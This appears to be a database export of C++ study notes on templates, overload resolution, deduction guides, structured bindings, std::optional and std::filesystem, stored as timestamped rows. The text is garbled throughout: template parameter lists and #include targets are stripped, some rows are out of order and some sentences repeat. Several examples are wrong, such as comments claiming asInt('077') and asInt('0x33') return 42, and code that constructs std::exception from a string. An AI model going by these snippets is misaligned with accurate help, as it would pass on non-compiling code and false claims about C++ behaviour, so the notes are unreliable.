The overload resolution process prefers the nontemplate over one generated\nfrom the template. text txt 2024-07-28 10:02:04.042676 -2332 541 max(7, 42); // calls the nontemplate for two ints code txt 2024-07-28 10:02:04.0633 -2333 541 If the template can generate a function with a better match, then the\ntemplate is selected. Here, the template is a better match because no\nconversion from `double` or `char` to `int` is required. text txt 2024-07-28 10:02:04.082881 -2334 541 max(7.0, 42.0); // calls max by argument deduction\n::max('a', 'b'); // calls max by argument deduction code txt 2024-07-28 10:02:04.10383 -2335 541 An empty template argument list indicates that only templates may resolve a\ncall, but all the template parameters should be deduced from the call\narguments. text txt 2024-07-28 10:02:04.124656 -2336 541 max<>(7, 42); // calls max by argument deduction code txt 2024-07-28 10:02:04.146636 -2337 541 Becuase automatic type conversino is not considered for deduced template\nparameters but is considered for ordinary funcction parameters, the last call\nuses the nontemplate function. text txt 2024-07-28 10:02:04.167506 -2338 541 max(7, 42); // calls max no argument deduction\n::max('a', 42.7); // calls the nontemplate for two ints code txt 2024-07-28 10:02:04.189176 -2339 542 When two function templates match, the overload resolution process normally\nto process normally to prefer none and result in an ambiguity error. text txt 2024-07-28 10:02:04.630123 -2340 542 template\nauto max(T1 a, T2 b); text txt 2024-07-28 10:02:04.650441 -2341 542 template\nRT max(T1 a, T2 b); text txt 2024-07-28 10:02:04.671786 -2342 542 max(4, 7.2); // calls first overload\n::max(4, 7.2); // calls second overload\n::max(4, 7.2); // ERROR: both function templates match code txt 2024-07-28 10:02:04.692763 -2343 543 A useful example would be to overload the maximum template for pointers and\nordinary C-strings. text txt 2024-07-28 10:02:05.533302 -2344 543 #include \n#include text txt 2024-07-28 10:02:05.555153 -2345 543 template\nT max(T a, T b)\n{\n return b < a ? a : b;\n} text txt 2024-07-28 10:02:05.575308 -2346 543 template\nT* max(T* a, T* b)\n{\n return *b < *a ? a : b;\n} text txt 2024-07-28 10:02:05.596933 -2347 543 char const* max(char const* a, char const* b)\n{\n return std::strcmp(b, a) < 0 ? a : b;\n} text txt 2024-07-28 10:02:05.617844 -2348 543 int i{7}, j{42};\nint *p1 = &i, *p2 = &j; text txt 2024-07-28 10:02:05.638804 -2349 543 max(i, j); // calls max() for two int\n::max(std::string{"mathematics"}, std::string{"math"}); // calls max() for std::string\n::max(p1, p2); // calls max() for two pointers\n::max("mathematics", "math"); // calls max() for two C-strings code txt 2024-07-28 10:02:05.659667 -2402 552 The following class template can be specialized in following ways: text txt 2024-07-28 10:02:13.55127 -2350 544 In general, it is a good idea not to change more than necessary when\noverloading function templates. You should limit your changes to the number\nof parameters or to specifying template parameters explicitly. Otherwise,\nunexpected effects may happen. text txt 2024-07-28 10:02:06.880245 -2351 544 For example, if you implement your `max()` template to pass the arguments by\nreference and overload it for two C-strings passed by value, you can’t use\nthe three-argument version to compute the maximum of three C-strings: text txt 2024-07-28 10:02:06.901755 -2352 544 #include text txt 2024-07-28 10:02:06.922993 -2353 544 template\nT const& max(T const& a, T const& b)\n{\n return b < a ? a : b;\n} text txt 2024-07-28 10:02:06.944147 -2354 544 char const* max(char const* a, char const* b)\n{\n return std::strcmp(b, a) < 0 ? a : b;\n} text txt 2024-07-28 10:02:06.9652 -2355 544 template\nT const& max(T const& a, T const& b, T const& c)\n{\n return max(max(a, b), c); // error if max(a,b) uses call-by-value\n} text txt 2024-07-28 10:02:06.985712 -2356 544 max(7, 42, 68); // OK text txt 2024-07-28 10:02:07.006147 -2357 544 char const* s1 = "A";\nchar const* s2 = "B";\nchar const* s3 = "C";\n::max(s1, s2, s3); // runtime error code txt 2024-07-28 10:02:07.026455 -2358 544 The problem is that if you call `max()` for three C-strings, the statement: text txt 2024-07-28 10:02:07.047407 -2359 544 return max (max(a,b), c); code txt 2024-07-28 10:02:07.069129 -2360 544 becomes a run-time error because for C-strings, `max(a,b)` creates a new,\ntemporary local value that is returned by reference, but that temporary value\nexpires as soon as the return statement is complete, leaving `main()` with a\ndangling reference. text txt 2024-07-28 10:02:07.090503 -2361 544 Unfortunately, the error is quite subtle and may not manifest itself in all\ncases. In general, a conforming compiler isn’t even permitted to reject this\ncode. text txt 2024-07-28 10:02:07.111945 -2362 545 Ensure that all overloaded versions of a function are declared before the\nfunction is called. This is because the fact that not all overloaded\nfunctions are visible when a corresponding function call is made may matter. text txt 2024-07-28 10:02:07.790639 -2363 545 template\nT max (T a, T b)\n{\n return b < a ? a : b;\n} text txt 2024-07-28 10:02:07.811768 -2364 545 template\nT max (T a, T b, T c)\n{\n return max (max(a,b), c);\n // calls template max not overload\n} text txt 2024-07-28 10:02:07.833505 -2365 545 // declaration comes too late\nint max (int a, int b)\n{\n std::cout << "max(int,int) \\\\n";\n return b < a ? a : b;\n} code txt 2024-07-28 10:02:07.853948 -2366 546 Before the declaration, you have to declare one or multiple identifiers as a\ntype parameters. text txt 2024-07-28 10:02:08.509087 -2367 546 Inside the class template, template parameters can be used just like any\nother type to declare members and member functions. text txt 2024-07-28 10:02:08.530885 -2368 546 template\nclass Stack\n{\nprivate:\n std::vector data; text txt 2024-07-28 10:02:08.552884 -2369 546 public:\n void push(T const&);\n void pop() const;\n T const& top() const;\n bool empty() const;\n}; code txt 2024-07-28 10:02:08.573928 -2370 546 The keyword `class` can be used instead of `typename`. text txt 2024-07-28 10:02:08.594444 -2371 547 Template parameters can be omited when declaring copy constructor and copy\nassignment operator. text txt 2024-07-28 10:02:09.311863 -2372 547 template\nclass Stack\n{\npublic:\n Stack(Stack const&);\n Stack& operator=(Stack const&);\n}; code txt 2024-07-28 10:02:09.33336 -2373 547 But it is formally equivalent to specify template parameters: text txt 2024-07-28 10:02:09.354751 -2374 547 template\nclass Stack\n{\npublic:\n Stack(Stack const&);\n Stack& operator=(Stack const&);\n}; code txt 2024-07-28 10:02:09.375371 -2375 547 But usually the `` signals special handling of special template\nparameters, so it’s usually better to use the first form. However, outside\nthe class structure you'd need to specify it. text txt 2024-07-28 10:02:09.396445 -2376 548 To define a member function of a class template, you have to specify that it\nis a template, and you have to use the full type qualification of the class\ntemplate. text txt 2024-07-28 10:02:09.887336 -2377 548 template\nclass Stack\n{\n void push(T const&);\n void pop();\n}; text txt 2024-07-28 10:02:09.907654 -2378 548 template\nvoid Stack::push(T const&) { } text txt 2024-07-28 10:02:09.927688 -2379 548 template\nvoid Stack::pop() { } code txt 2024-07-28 10:02:09.947622 -2380 549 To declare a friend function and define it afterwards, we have two options: text txt 2024-07-28 10:02:10.878491 -2381 549 1. We can implicitly declare a new function template, which must use a\n different template parameter, such as U: text txt 2024-07-28 10:02:10.899357 -2382 549 template\nclass Stack\n{\npublic:\n Stack(Stack const&); text txt 2024-07-28 10:02:10.919714 -2383 549 template\n friend std::ostream& operator<<(std::ostream&, Stack const&);\n}; code txt 2024-07-28 10:02:10.940397 -2384 549 We forward declare the output operator for a class to be a template, which,\nhowever, means that we first have to forward declare the class too: text txt 2024-07-28 10:02:10.961016 -2385 549 template\nclass Stack; text txt 2024-07-28 10:02:10.980619 -2386 549 template\nstd::ostream& operator<<(std::ostream&, Stack const&); text txt 2024-07-28 10:02:11.001361 -2387 549 template\nclass Stack\n{\npublic:\n Stack(Stack const&); text txt 2024-07-28 10:02:11.021529 -2388 549 friend std::ostream& operator<<(std::ostream&, Stack const&);\n}; code txt 2024-07-28 10:02:11.042295 -2389 549 Note the `` behind the function name `operator<<`. Thus, we declare a\nspecialization of the nonmember function template as friend. Without `` we\nwould declare a new nontemplate function. text txt 2024-07-28 10:02:11.065037 -2390 550 To specialize a class template, you have to declare the class with a leading\n`template<>` and a specialization of the types for which the class template\nis specialized. The types are used as a template argument and must be\nspecified directly forwarding the name of the class: text txt 2024-07-28 10:02:11.730474 -2391 550 template\nclass Stack\n{\n void push(T const&);\n}; text txt 2024-07-28 10:02:11.751493 -2392 550 template\nvoid Stack::push(T const&) { } text txt 2024-07-28 10:02:11.77152 -2393 550 template<>\nStack\n{\n void push(std::string const&);\n}; text txt 2024-07-28 10:02:11.792501 -2394 550 void Stack::push(std::string const&) { } code txt 2024-07-28 10:02:11.813585 -2395 551 You can provide special implementation for particular circumstances, but some\ntemplate parameters must still be defined by the user. text txt 2024-07-28 10:02:12.487212 -2396 551 template\nclass Stack\n{\n void push(T const&);\n}; text txt 2024-07-28 10:02:12.50873 -2397 551 template\nvoid Stack push(T const&) { } text txt 2024-07-28 10:02:12.528523 -2398 551 template\nclass Stack\n{\n void push(T*);\n}; text txt 2024-07-28 10:02:12.549785 -2399 551 template\nvoid Stack::push(T*) { } code txt 2024-07-28 10:02:12.569613 -2400 551 With partial specialization, we define a class template, still parametrized\nfor `T` but specialized for a pointer (`Stack`). text txt 2024-07-28 10:02:12.590888 -2405 552 template\nclass Stack; code txt 2024-07-28 10:02:13.612521 -2406 552 The following examples show which template is used by which declaration: text txt 2024-07-28 10:02:13.632923 -2407 552 Stack{}; // Stack\nStack{}; // Stack\nStack{}; // Stack\nStack{}; // Stack code txt 2024-07-28 10:02:13.653328 -2408 552 If more than one partial specialization matches equally well, the declaration is ambiguous: text txt 2024-07-28 10:02:13.672312 -2409 552 Stack{}; // ERROR: matches Stack and Stack\nStack{}; // ERROR: matches Stack and Stack code txt 2024-07-28 10:02:13.692685 -2410 552 To resolve the second ambiguity, you could provide an additional partial specialization for pointers of the same type: text txt 2024-07-28 10:02:13.713213 -2411 552 template\nclass Stack; code txt 2024-07-28 10:02:13.73476 -2412 553 template>\nclass Stack\n{\nprivate:\n C container; text txt 2024-07-28 10:02:14.769778 -2413 553 public:\n void push(T const&);\n void pop();\n T const& top() const;\n bool empty() const;\n}; text txt 2024-07-28 10:02:14.7896 -2414 553 template\nvoid Stack::push(T const& value)\n{\n container.push_back(value);\n} text txt 2024-07-28 10:02:14.810673 -2415 553 template\nvoid Stack::pop()\n{\n container.pop_back();\n} text txt 2024-07-28 10:02:14.831599 -2416 553 template\nT const& Stack::top() const\n{\n if (container.empty()) throw std::exception{"empty container"};\n return container.back();\n} text txt 2024-07-28 10:02:14.853444 -2417 553 template\nbool Stack::empty() const\n{\n return container.empty();\n} code txt 2024-07-28 10:02:14.874374 -2418 554 Unlike a `typedef`, an alias declaration can be templated to provide a\nconvenient name for a family of types. This is also available since C++11 and\nis called an alias template. text txt 2024-07-28 10:02:15.218884 -2419 554 template\nusing matrix = std::vector>; code txt 2024-07-28 10:02:15.239709 -2420 555 Alias templates are especially helpful to define shortcuts for types that are\nmembers of class templates. text txt 2024-07-28 10:02:15.81051 -2421 555 struct Matrix\n{\n using iterator = ...;\n}; text txt 2024-07-28 10:02:15.831365 -2422 555 template\nusing MatrixIterator = typename Matrix::iterator; code txt 2024-07-28 10:02:15.851734 -2423 555 The `typename` is necessary here because the member is a type. text txt 2024-07-28 10:02:15.873003 -2424 555 Since C++14, the standard library uses this technique to define shortcuts for\nall type traits in the standard library that yield a type: text txt 2024-07-28 10:02:15.894241 -2425 555 std::add_const_t // C++14 abbreviate equivalent to std::add_const::type available since C++11\nstd::enable_if_v // C++14 abbreviate equivalent to std::enable_if::value available since C++11 code txt 2024-07-28 10:02:15.914844 -2426 556 Since C++17, the constraint that you always have to specify the template\narguments explicitly was relaxed. text txt 2024-07-28 10:02:16.24294 -2427 556 Stack IntStack;\nStack AnotherStack = IntStack; // OK in all standard versions\nStack IntegralStack = AnotherStack; // OK since C++17 code txt 2024-07-28 10:02:16.264995 -2428 557 By providing constructors that pass some initial arguments, you can support\ndeduction of the type used in a class. text txt 2024-07-28 10:02:16.727925 -2429 557 template\nclass Stack\n{\nprivate:\n std::vector container; text txt 2024-07-28 10:02:16.750354 -2430 557 public:\n Stack() = default;\n Stack(T const& value): container({value}) { }\n}; code txt 2024-07-28 10:02:16.77023 -2431 558 1. You have to request the default constructor to be available with its\n default behavior, because the default constructor is available only if no\n other constructor is defined: text txt 2024-07-28 10:02:17.619839 -2432 558 template\nclass Stack\n{\npublic:\n Stack() = default;\n}; code txt 2024-07-28 10:02:17.640291 -2433 558 2. The initial argument is passed with braces around to initialize the\n internal container with an initializer list that argument as the only\n argument: text txt 2024-07-28 10:02:17.660982 -2434 558 template\nclass Stack\n{\nprivate:\n std::vector container; text txt 2024-07-28 10:02:17.681433 -2435 558 public:\n Stack() = default;\n Stack(T const& value): container({value}) { }\n}; code txt 2024-07-28 10:02:17.702575 -2436 558 This is because there is no constructor for a vector that is able to take a\nsingle parameter as initial element directly. Even worse, there is a vector\nconstructor taking one integral argument as initial size, so that for a stack\nwith the initial value 5, the vector would get an initial size of five\nelements when `container(value)` is used. text txt 2024-07-28 10:02:17.722896 -2437 559 When passing arguments of a template type `T` by reference, the parameter\ndoes not decay, which is the term for the mechanism to convert a raw array\ntype to the corresponding raw pointer typel. text txt 2024-07-28 10:02:18.53955 -2438 559 Stack StringStack = "surprise!"; // Stack deduced since C++17 code txt 2024-07-28 10:02:18.561153 -2439 559 However, when passing arguments of a template type T by value, the parameter\ndecays, which is the term for the mechansim to convert a raw array type to\nthe corresponding raw pointer type. text txt 2024-07-28 10:02:18.583354 -2440 559 template\nclass Stack\n{\nprivate:\n std::vector container; text txt 2024-07-28 10:02:18.6036 -2441 559 public:\n Stack(T value): container({std::move(value)}) { }\n // initialize stack with one element by value to decay on class template argument deduction\n}; code txt 2024-07-28 10:02:18.624547 -2442 559 With this, the following initialization works fine: text txt 2024-07-28 10:02:18.645472 -2443 559 Stack StringStack = "surprise!"; // Stack deduced since C++17 code txt 2024-07-28 10:02:18.665568 -2444 559 In this case, don't forget to use move semantics to avoid unnecessary copy of\nthe argument. text txt 2024-07-28 10:02:18.685551 -2445 560 Because handling raw pointers in containers is a source of trouble, we should\ndisable automatically deducing raw character pointers for container classes. text txt 2024-07-28 10:02:19.173695 -2446 560 You can define specific **deduction guides** to provide additional or fix\nexisting class template argument deductions. text txt 2024-07-28 10:02:19.194172 -2447 560 Stack(const char*) -> Stack; code txt 2024-07-28 10:02:19.214016 -2448 560 This guide has to appear in the same scope as the class definition. text txt 2024-07-28 10:02:19.234676 -2449 560 We call the `->` the *guided type* of the deduction guide. text txt 2024-07-28 10:02:19.255417 -2450 560 Stack StringStack{"no surprises now!"}; // Stack code txt 2024-07-28 10:02:19.276179 -2451 561 The declaration of a `Stack{"no surprise!"}` deduces as `Stack` using the deduction guide: text txt 2024-07-28 10:02:19.721522 -2452 561 Stack(char const*) -> Stack; code txt 2024-07-28 10:02:19.74308 -2453 561 However, the following still doesn't work: text txt 2024-07-28 10:02:19.765747 -2592 605 std::filesystem::path p{"/etc/os-release"}; text txt 2024-07-28 10:02:43.032241 -2454 561 Stack StringStack = "surprise again!"; // ERROR: Stack deduced, but still not valid code txt 2024-07-28 10:02:19.786571 -2455 561 By language rules, you can't copy initialize an object by passing a string\nliteral to a constructor expecting a `std::string`. So you have to initialize\nthe object with brace initialization. text txt 2024-07-28 10:02:19.807344 -2456 562 Aggregate classes; classes or structs with no user-provided, explicit, or\ninherited constructor, no private or protected nonstatic data members, no\nvirtual functions, and no virtual, private, or protected base classes; can\nalso be templates. text txt 2024-07-28 10:02:20.508243 -2457 562 template\nstruct ValueWithComment\n{\n T value;\n std::string comment;\n}; code txt 2024-07-28 10:02:20.528884 -2458 562 Since C++17, you can even define deduction guides for aggregate class templates: text txt 2024-07-28 10:02:20.549225 -2459 562 ValueWithComment(char const*, char const*) -> ValueWithComment; text txt 2024-07-28 10:02:20.57021 -2460 562 ValueWithComment vc = {"secret", "my secret message"}; // ValueWithComment deduced code txt 2024-07-28 10:02:20.590642 -2461 562 Without the deduction guide, the initialization would not be possible,\nbecause the aggregate class has no constructor to perform the deduction\nagainst. text txt 2024-07-28 10:02:20.611707 -2462 562 The standard library class `std::array<>` is also an aggregate, parametrized\nfor both the element type and the size. The C++17 standard library also\ndefines a deduction guide for it. text txt 2024-07-28 10:02:20.633851 -2463 563 You can implement data structures by using a fixed-size array for the\nelements. An advantage of this method is that the memory management overhead,\nwhether performed by you or by a standard container, is avoided. However,\ndetermining the best size is better be specified by users. text txt 2024-07-28 10:02:21.273329 -2464 563 template\nclass Stack\n{\nprivate:\n std::array container;\n std::size_t elements; text txt 2024-07-28 10:02:21.295094 -2465 563 public:\n void push(T const&);\n void pop();\n T const& top() const;\n bool empty() const;\n std::size_t size() const;\n}; code txt 2024-07-28 10:02:21.31606 -2466 564 namespace custom\n{\n template\n stack\n {\n std::size_t elements;\n std::array container;\n };\n} text txt 2024-07-28 10:02:21.799101 -2467 564 custom::stack buffer{}; code txt 2024-07-28 10:02:21.820195 -2468 565 Each template instantiation is its own type. text txt 2024-07-28 10:02:22.273141 -2469 565 template\nclass stack; text txt 2024-07-28 10:02:22.293233 -2470 565 stack small_stack;\nstack big_stack; code txt 2024-07-28 10:02:22.315258 -2471 565 The two are different types and no implicit or explicit type conversion\nbetween them is defined. text txt 2024-07-28 10:02:22.335268 -2472 566 template\nclass stack; code txt 2024-07-28 10:02:22.692702 -2473 566 From a perspective of good design, this is not appropriate in many examples.\nIt is better when the programmer has to specify values explicitly. text txt 2024-07-28 10:02:22.714601 -2474 567 #include text txt 2024-07-28 10:02:23.792151 -2475 567 int main()\n{\n try\n {\n std::filesystem::path version_path{"/usr/src/linux/version"}; // throws std::bad_alloc text txt 2024-07-28 10:02:23.812349 -2476 567 if (std::filesystem::exists(version_path)) // throws std::system_error\n {\n // ...\n }\n }\n catch (std::system_error const& exp)\n {\n std::cerr << "file operation error: " << exp.what() << std::endl;\n }\n catch (std::bad_alloc const& exp)\n {\n std::cerr << "path could not be allocated: " << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:02:23.834642 -2477 568 #include \n#include text txt 2024-07-28 10:02:24.327203 -2478 568 int main()\n{\n try\n {\n std::filesystem::path working_directory{std::filesystem::current_path()};\n std::cout << working_directory << std::endl;\n }\n catch (std::filesystem::filesystem_error const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:02:24.348646 -2479 569 `std::filesystem::canonical()` throws a `std::filesystem_error` type\nexception if the path we want to canonicalize does not exist. text txt 2024-07-28 10:02:25.094286 -2480 569 #include \n#include \n#include text txt 2024-07-28 10:02:25.114721 -2481 569 int main()\n{\n try\n {\n std::filesystem::path relative_path{"/usr/././lib/../include"};\n std::filesystem::path canonical_path{std::filesystem::canonical(relative_path)};\n std::cout << canonical_path << std::endl;\n }\n catch (std::filesystem::filesystem_error const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n catch (std::bad_alloc const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:02:25.136535 -2482 570 `std::filesystem::canonical()` accepts a path as an optional second argument. text txt 2024-07-28 10:02:25.99131 -2483 570 path canonical(path const& p, path const& base = current_path()); code txt 2024-07-28 10:02:26.012124 -2484 570 The second path `base` is prepended to path `p` if `p` is a relative path. text txt 2024-07-28 10:02:26.033731 -2485 570 #include \n#include \n#include text txt 2024-07-28 10:02:26.053977 -2486 570 int main()\n{\n try\n {\n std::filesystem::path relative_path{"./lib/../include"};\n std::filesystem::path base_path{"/usr"};\n std::filesystem::path canonical_path{std::filesystem::canonical(relative_path, base_path)};\n std::cout << canonical_path << std::endl;\n }\n catch (std::filesystem::filesystem_error const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n catch (std::bad_alloc const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:02:26.076506 -2487 571 `std::filesystem::canonical()` does what `std::filesystem::absolute()` does,\nbut canonical additionally removes any "." or ".." paths. text txt 2024-07-28 10:02:26.797566 -2488 571 `std::filesystem::absolute()` does not call system calls. text txt 2024-07-28 10:02:26.81958 -2489 571 #include \n#include text txt 2024-07-28 10:02:26.841494 -2490 571 int main()\n{\n try\n {\n std::filesystem::path relative_path{"./.local/bin"};\n auto absolute_path{std::filesystem::absolute(relative_path)}; text txt 2024-07-28 10:02:26.86187 -2491 571 std::cout << absolute_path << std::endl;\n }\n catch (std::filesystem::filesystem_error const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n catch (std::bad_alloc const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:02:26.884316 -2492 572 `std::filesystem::path` overloads `operator/` and `operator+` for path\nconcatenation, but `operator/` uses path separators between junctions and\n`operator+` only acts as string concatanation. text txt 2024-07-28 10:02:27.300605 -2493 572 #include text txt 2024-07-28 10:02:27.322108 -2494 572 std::filesystem::path parent{"/usr/bin"};\nstd::filesystem::path executable{"bash"};\nstd::filesystem::path shell{parent + executable}; // /usr/binbash\nstd::filesystem::path shell{parent / executable}; // /usr/bin/bash code txt 2024-07-28 10:02:27.34387 -2495 573 `std::filesystem::equivalent()` canonicalizes the paths, which it accepts as\narguments and returns true if they describe the same path after all. text txt 2024-07-28 10:02:27.880521 -2496 573 Both operands need to exist before call to this free-standing function. It\nwill throw `std::filesystem::system_error` otherwise. text txt 2024-07-28 10:02:27.900313 -2497 573 #include \n#include text txt 2024-07-28 10:02:27.92106 -2498 573 int main()\n{\n std::filesystem::path p1{"/lib/modules"};\n std::filesystem::path p2{"/usr/lib/modules"};\n std::cout << std::boolalpha << std::filesystem::equivalent(p1, p2) << std::endl;\n // true\n} code txt 2024-07-28 10:02:27.942543 -2499 574 #include text txt 2024-07-28 10:02:28.371727 -2500 574 std::filesystem::is_directory("/usr/bin"); // true\nstd::filesystem::is_regular_file("/usr/bin/bash"); // true\nstd::filesystem::is_symlink("/lib"); // true\nstd::filesystem::is_character_file("/dev/random"); // true\nstd::filesystem::is_block_file("/dev/sda"); // true\nstd::filesystem::is_fifo("/dev/null"); // false\nstd::filesystem::is_socket("/dev/null"); // false\nstd::filesystem::other("/dev/null"); // false code txt 2024-07-28 10:02:28.394042 -2501 575 #include text txt 2024-07-28 10:02:28.881441 -2502 575 std::filesystem::path executables_path{"/usr/local/bin"};\nstd::filesystem::file_status executables_status{std::filesystem::file_status(executables_path)}; text txt 2024-07-28 10:02:28.903436 -2503 575 std::filesystem::is_directory(executables_status);\nstd::filesystem::is_regular_file(executables_status);\nstd::filesystem::is_symlink(executables_status);\nstd::filesystem::is_character_file(executables_status);\nstd::filesystem::is_block_file(executables_status);\nstd::filesystem::is_fifo(executables_status);\nstd::filesystem::is_socket(executables_status);\nstd::filesystem::other(executables_status); code txt 2024-07-28 10:02:28.925178 -2504 576 #include \n#include \n#include text txt 2024-07-28 10:02:29.505326 -2505 576 int main()\n{\n std::filesystem::perms perms = std::filesystem::status("/dev/null").permissions(); text txt 2024-07-28 10:02:29.525388 -2506 576 std::cout << ((perms & std::filesystem::perms::owner_read) == std::filesystem::perms::none ? '-' : 'r');\n std::cout << ((perms & std::filesystem::perms::owner_write) == std::filesystem::perms::none ? '-' : 'w');\n std::cout << ((perms & std::filesystem::perms::owner_exec) == std::filesystem::perms::none ? '-' : 'x');\n std::cout << ((perms & std::filesystem::perms::group_read) == std::filesystem::perms::none ? '-' : 'r');\n std::cout << ((perms & std::filesystem::perms::group_write) == std::filesystem::perms::none ? '-' : 'w');\n std::cout << ((perms & std::filesystem::perms::group_exec) == std::filesystem::perms::none ? '-' : 'x');\n std::cout << ((perms & std::filesystem::perms::others_read) == std::filesystem::perms::none ? '-' : 'r');\n std::cout << ((perms & std::filesystem::perms::others_write) == std::filesystem::perms::none ? '-' : 'w');\n std::cout << ((perms & std::filesystem::perms::others_exec) == std::filesystem::perms::none ? '-' : 'x');\n} code txt 2024-07-28 10:02:29.54914 -2507 577 #include text txt 2024-07-28 10:02:29.826116 -2508 577 std::filesystem::path file_path{"/usr/bin/g++"};\nstd::size_t size = std::filesystem::file_size(file_path); code txt 2024-07-28 10:02:29.8474 -2509 578 #include \n#include \n#include \n#include text txt 2024-07-28 10:02:30.255299 -2510 578 std::vector entries;\nstd::filesystem::path directory_path{"/usr/bin"};\nstd::filesystem::directory_iterator entry_iterator{std::filesystem::directory_iterator{directory_path}};\nstd::copy(entry_iterator, std::back_inserter(entries)); code txt 2024-07-28 10:02:30.276782 -2511 579 #include \n#include text txt 2024-07-28 10:02:30.836333 -2512 579 int main()\n{\n std::map letters;\n letters.insert({0, "first"});\n letters.insert({1, "second"});\n letters.insert({2, "third"}); text txt 2024-07-28 10:02:30.857979 -2513 579 for (const auto& [index, letter]: letters)\n std::cout << index << ": " << letter << "\\\\n";\n} code txt 2024-07-28 10:02:30.87911 -2514 580 struct some_data\n{\n int age;\n char const* name;\n}; text txt 2024-07-28 10:02:31.449267 -2515 580 int main()\n{\n some_data personal_data{27, "Brian"}; text txt 2024-07-28 10:02:31.469675 -2516 580 auto const& [a1, n1] = personal_data; // const reference\n auto const [a2, n2] = personal_data; // const\n auto& [a3, n3] = personal_data; // non-const reference\n auto [a4, n4] = personal_data; // copy\n} code txt 2024-07-28 10:02:31.491138 -2517 581 #include text txt 2024-07-28 10:02:32.076427 -2518 581 struct some_data\n{\n std::string text;\n}; text txt 2024-07-28 10:02:32.097628 -2519 581 int main()\n{\n some_data data{"long text"}; text txt 2024-07-28 10:02:32.118308 -2520 581 // entity is rvalue reference to data.text\n auto&& [rv_text] = std::move(data); text txt 2024-07-28 10:02:32.138892 -2521 581 // new entity stole the membership of value from data.text\n std::string text = std::move(rv_text); text txt 2024-07-28 10:02:32.159937 -2522 581 // rv_text and data.text no longer hold values\n} code txt 2024-07-28 10:02:32.180677 -2523 582 * All non-static data members must be members of the same class definition. text txt 2024-07-28 10:02:32.836934 -2524 582 struct A\n{\n int a = 1;\n int b = 2;\n}; text txt 2024-07-28 10:02:32.857704 -2525 582 struct B : A\n{\n}; text txt 2024-07-28 10:02:32.879216 -2526 582 struct C : A\n{\n int c = 3;\n}; text txt 2024-07-28 10:02:32.900323 -2527 582 int main()\n{\n auto [x, y] = B{};\n auto [i, j, k] = C{}; // ERROR\n} code txt 2024-07-28 10:02:32.921582 -2528 583 * For an array passed as argument, this is not possible because it decays to the corresponding pointer type. text txt 2024-07-28 10:02:33.243926 -2529 583 int main()\n{\n int array[] = {1,2,3};\n auto [i, j, k] = array;\n} code txt 2024-07-28 10:02:33.26702 -2530 584 #include \n#include \n#include \n#include text txt 2024-07-28 10:02:33.806936 -2531 584 int main()\n{\n std::array coordinates{1,0,1};\n auto [x, y, z] = coordinates; text txt 2024-07-28 10:02:33.827281 -2532 584 std::pair letter{1, "some text"};\n auto& [index, text] = letter; text txt 2024-07-28 10:02:33.847594 -2533 584 std::tuple book{9783967300178, "C++17: The Complete Guide"};\n auto const& [isbn, title] = book;\n} code txt 2024-07-28 10:02:33.868945 -2534 585 code txt 2024-07-28 10:02:34.064636 -2535 586 code txt 2024-07-28 10:02:34.341718 -2536 587 `std::optional<>` model a nullable instance of an arbitrary type. text txt 2024-07-28 10:02:34.717235 -2537 587 #include text txt 2024-07-28 10:02:34.737468 -2538 587 std::optional oi{42};\nint i{*oi}; // 42 code txt 2024-07-28 10:02:34.757614 -2539 588 #include \n#include text txt 2024-07-28 10:02:35.378827 -2540 588 std::optional asInt(const std::string_view s)\n{\n try\n {\n return std::stoi(s);\n }\n catch (...)\n {\n return std::nullopt;\n }\n} text txt 2024-07-28 10:02:35.400704 -2541 588 asInt("42"); // std::optional(42)\nasInt("077"); // std::optional(42)\nasInt("forty two"); // std::nullopt\nasInt("0x33"); // std::optional(42) code txt 2024-07-28 10:02:35.421836 -2542 589 It consists of an optional *root name*, an optional *root directory*, and a\nsequence of filenames separated by *directory separators*. text txt 2024-07-28 10:02:35.78677 -2543 589 ```\n[root name] [root directory] [filenames]\n/home/brian/\nC:\\\\Windows\\\\Users\\\\Brian\\\\Desktop\n`````` text txt 2024-07-28 10:02:35.807365 -2544 590 The path can be **relative**, so that the file location depends on the current directory, or **absolute**. text txt 2024-07-28 10:02:36.299938 -2545 590 Two formats are possible for path objects: text txt 2024-07-28 10:02:36.321196 -2546 590 - A generic format, which is portable.\n- A native format, which is specific to the underlying file system. text txt 2024-07-28 10:02:36.342723 -2547 590 On POSIX compliant operating systems there is not difference between the\ngeneric and the native format. On Windows the generic format `/tmp/note.txt`\nis a valid native format besides `\\\\tmp\\\\note.txt` which is also supported are\ntwo native versions of the same path. text txt 2024-07-28 10:02:36.363681 -2548 590 The generic path format is as follows: text txt 2024-07-28 10:02:36.383569 -2549 590 `[root name] [root directory] [relative path]` text txt 2024-07-28 10:02:36.404491 -2550 590 - The optional root name is implementation specific (e.g. `//host` on POSIX systems, `C:` on WIndows systems)\n- The optional root root directory is a directory separator\n- The relative path is a sequence of file names separated by directory separators text txt 2024-07-28 10:02:36.425827 -2551 591 In a normalized path: text txt 2024-07-28 10:02:36.718256 -2552 591 - Filenames are separated only by a single preferred directory separator.\n- The filename `.` is not used unless the whole path is nothing but `.`.\n- The filename does not contain `..` filenames unless they are at the\n beginning of a relative path.\n- The path only ends with a directory separator if the trailing filename is a\n directory with a name other than `.` or `..`. text txt 2024-07-28 10:02:36.73909 -2553 592 The filesystem library provides several functions, which can be both member\nand free-standing functions. **Member** functions are cheap because they are\npure lexical operations that do not take the actual filesystem into account,\nso that no operating system calls are necessary, e.g. `mypath.is_absolute()`.\n**Free-standing** functions on the other hand are expensive, because they\nusually take the actual filesystem into account, e.g. `equivalent(path1,\npath2)`. Sometimes, the filesystem library provides the same functionality\noperating both lexically and by the actual filesystem into account, e.g.\n`path1.lexically_relative(path2)`. text txt 2024-07-28 10:02:37.34501 -2554 592 Because of **Argument Dependent Lookup (ADL)** usually we don't have to\nspecify the full namespace `std::filesystem` when calling free-standing\nfilesystem functions. text txt 2024-07-28 10:02:37.365103 -2555 592 create_directory(std::filesystem::path{"/tmp/notes"}); // OK\nremove(std::filesystem::path{"/tmp/note.txt"}); // OK text txt 2024-07-28 10:02:37.384947 -2556 592 std::filesystem::create_directory("/tmp/note.txt"); // OK\nstd::filesystem::remove("/tmp/note.txt"); // OK text txt 2024-07-28 